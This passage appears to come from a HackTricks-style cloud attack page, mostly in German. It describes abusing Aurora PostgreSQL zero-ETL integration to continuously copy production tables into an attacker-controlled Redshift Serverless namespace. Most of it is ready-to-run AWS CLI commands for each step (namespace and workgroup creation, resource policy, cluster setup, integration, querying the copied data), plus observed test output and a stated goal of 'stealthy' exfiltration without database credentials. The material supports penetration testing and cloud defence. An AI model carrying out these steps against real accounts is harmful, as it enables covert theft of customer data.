+```bash +aws rds delete-db-proxy --db-proxy-name p0 +aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws iam delete-role --role-name rds-proxy-secret-role +aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery +``` +### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) + +Missbrauche die Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff. + +Permissions needed (minimum): +- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` +- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen) +- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspielen) + +Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. + +
+1) Erstelle Redshift Serverless namespace + workgroup +```bash +REGION=us-east-1 +RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ +--admin-username adminuser --admin-user-password 'AdminPwd-1!' \ +--query namespace.namespaceArn --output text) +RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ +--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ +--query workgroup.workgroupArn --output text) +# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) +aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ +--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true +``` +
+ +
+2) Redshift-Ressourcenrichtlinie konfigurieren, um die Aurora-Quelle zuzulassen +```bash +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SRC_ARN= +cat > rs-rp.json < + +
+3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren) +```bash +CLUSTER_ID=aurora-ztl +aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--engine aurora-postgresql --engine-version 16.4 \ +--master-username postgres --master-user-password 'InitPwd-1!' \ +--enable-http-endpoint --no-deletion-protection --backup-retention-period 1 +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +# Serverless v2 instance +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately +aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ +--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +# Cluster parameter group for zero‑ETL +aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ +--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" +aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ +ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately +aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) +``` +
+ +
+4) Erstelle die zero‑ETL-Integration von RDS +```bash +# Include all tables in the default 'postgres' database +aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ +--target-arn "$RS_NS_ARN" --integration-name ztl-demo \ +--data-filter 'include: postgres.*.*' +# Redshift inbound integration should become ACTIVE +aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" +``` +
+ +
+5) Replizierte Daten in Redshift materialisieren und abfragen +```bash +# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "select integration_id from svv_integration" # take the GUID value +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "create database ztl_db from integration '' database postgres" +# List tables replicated +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ +--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" +``` +
+ +Beobachtete Hinweise im Test: +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung. +- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob). + +Auswirkung: Kontinuierliche nahezu Echtzeit-Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, kontrolliert vom Angreifer, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugriff auf den Quell-Cluster. + + {{#include ../../../banners/hacktricks-training.md}}